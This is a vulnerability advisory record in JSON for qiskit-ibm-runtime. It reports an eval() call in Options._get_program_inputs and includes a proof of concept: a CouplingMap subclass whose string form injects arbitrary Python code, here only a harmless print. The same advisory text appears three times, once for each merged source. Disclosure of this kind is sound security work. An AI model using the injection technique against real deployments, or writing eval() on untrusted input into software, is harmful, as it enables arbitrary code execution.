{"id":"GHSA-cq96-9974-v8hm","aliases":[],"status":"published","title":"Dynamic Variable Evaluation in qiskit-ibm-runtime","description":"### Summary\n\nAn `eval()` method exists `Options._get_program_inputs`. This is bad in any case, but especially bad because `Options` are also used server side, so this has the potential to expose arbitrary code injection in runtime containers, now or at a later time.\n\n### Details\n\nhttps://github.com/Qiskit/qiskit-ibm-runtime/blob/da94a42060f1a22e6f306227deb45b70e0075723/qiskit_ibm_runtime/options/options.py#L140\n\n### PoC\nA local exploit would be something like\n\n```python\nfrom qiskit import transpiler\n\nclass BadActor(transpiler.CouplingMap):\n    def __str__(self):\n        return \"print('external code')\"\n\n```\n\nWhere `print(\"external code\")` can be any arbitrary python code string.\n\nThen if you did a normal workflow and used a specifically constructed `CouplingMap` subclass like `BadActor` above:\n\n```python\nfrom qiskit_ibm_runtime import QiskitRuntimeService, Session, Options, Sampler\nfrom qiskit import QuantumCircuit\n\ncmap = BadActor.from_line(42)\nservice = QiskitRuntimeService()\noptions = Options(optimization_level=1)\noptions.simulator = dict(coupling_map=cmap))\n\nbell = QuantumCircuit(2)\nbell.h(0)\nbell.cx(0, 1)\nbell.measure_all()\n\nwith Session(service=service, backend=\"ibmq_qasm_simulator\") as session:\n    sampler = Sampler(session=session, options=options).run(bell)\n```\n\nThis will print `external code`\n\n### Impact\n\nSecurity vulnerability.","severity":{"version":"3.1","score":2.8,"vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N","level":"low","from":"ghsa"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-627"],"published":"2024-03-20T15:41:26Z","modified":"2024-11-29T05:41:07Z","fixes":[{"ecosystem":"PyPI","package":"qiskit-ibm-runtime","fixed_in":["0.11.1"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"qiskit-ibm-runtime","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.11.0"},{"fixed":"0.11.1"}]}]},{"source":"osv","ecosystem":"PyPI","package":"qiskit-ibm-runtime","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.11.0"},{"fixed":"0.11.1"}]}],"versions":["0.11.0"]}],"references":[{"url":"https://github.com/Qiskit/qiskit-ibm-runtime/security/advisories/GHSA-cq96-9974-v8hm","tags":["web"]},{"url":"https://github.com/Qiskit/qiskit-ibm-runtime/commit/2e8c8c8df83ba310f52d1651a426bad879e0bd38","tags":["web"]},{"url":"https://github.com/advisories/GHSA-cq96-9974-v8hm"},{"url":"https://github.com/Qiskit/qiskit-ibm-runtime","tags":["package"]}],"sources":{"ghsa":[{"id":"GHSA-cq96-9974-v8hm","title":"Dynamic Variable Evaluation in qiskit-ibm-runtime","description":"### Summary\n\nAn `eval()` method exists `Options._get_program_inputs`. This is bad in any case, but especially bad because `Options` are also used server side, so this has the potential to expose arbitrary code injection in runtime containers, now or at a later time.\n\n### Details\n\nhttps://github.com/Qiskit/qiskit-ibm-runtime/blob/da94a42060f1a22e6f306227deb45b70e0075723/qiskit_ibm_runtime/options/options.py#L140\n\n### PoC\nA local exploit would be something like\n\n```python\nfrom qiskit import transpiler\n\nclass BadActor(transpiler.CouplingMap):\n    def __str__(self):\n        return \"print('external code')\"\n\n```\n\nWhere `print(\"external code\")` can be any arbitrary python code string.\n\nThen if you did a normal workflow and used a specifically constructed `CouplingMap` subclass like `BadActor` above:\n\n```python\nfrom qiskit_ibm_runtime import QiskitRuntimeService, Session, Options, Sampler\nfrom qiskit import QuantumCircuit\n\ncmap = BadActor.from_line(42)\nservice = QiskitRuntimeService()\noptions = Options(optimization_level=1)\noptions.simulator = dict(coupling_map=cmap))\n\nbell = QuantumCircuit(2)\nbell.h(0)\nbell.cx(0, 1)\nbell.measure_all()\n\nwith Session(service=service, backend=\"ibmq_qasm_simulator\") as session:\n    sampler = Sampler(session=session, options=options).run(bell)\n```\n\nThis will print `external code`\n\n### Impact\n\nSecurity vulnerability.","status":"published","published":"2024-03-20T15:41:26Z","modified":"2024-03-20T15:41:28Z","cvss":[{"version":"3.1","score":2.8,"vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N","level":"low"}],"cwes":["CWE-627"],"updated_at":"2026-11-02T14:37:41.821668Z"}],"osv":[{"id":"GHSA-cq96-9974-v8hm","title":"Dynamic Variable Evaluation in qiskit-ibm-runtime","description":"### Summary\n\nAn `eval()` method exists `Options._get_program_inputs`. This is bad in any case, but especially bad because `Options` are also used server side, so this has the potential to expose arbitrary code injection in runtime containers, now or at a later time.\n\n### Details\n\nhttps://github.com/Qiskit/qiskit-ibm-runtime/blob/da94a42060f1a22e6f306227deb45b70e0075723/qiskit_ibm_runtime/options/options.py#L140\n\n### PoC\nA local exploit would be something like\n\n```python\nfrom qiskit import transpiler\n\nclass BadActor(transpiler.CouplingMap):\n    def __str__(self):\n        return \"print('external code')\"\n\n```\n\nWhere `print(\"external code\")` can be any arbitrary python code string.\n\nThen if you did a normal workflow and used a specifically constructed `CouplingMap` subclass like `BadActor` above:\n\n```python\nfrom qiskit_ibm_runtime import QiskitRuntimeService, Session, Options, Sampler\nfrom qiskit import QuantumCircuit\n\ncmap = BadActor.from_line(42)\nservice = QiskitRuntimeService()\noptions = Options(optimization_level=1)\noptions.simulator = dict(coupling_map=cmap))\n\nbell = QuantumCircuit(2)\nbell.h(0)\nbell.cx(0, 1)\nbell.measure_all()\n\nwith Session(service=service, backend=\"ibmq_qasm_simulator\") as session:\n    sampler = Sampler(session=session, options=options).run(bell)\n```\n\nThis will print `external code`\n\n### Impact\n\nSecurity vulnerability.","status":"published","published":"2024-03-20T15:41:26Z","modified":"2024-11-29T05:41:07.076314Z","cvss":[{"version":"3.1","score":2.8,"vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N","level":"low"}],"cwes":["CWE-627"],"updated_at":"2026-11-02T15:46:45.28161Z"}]}}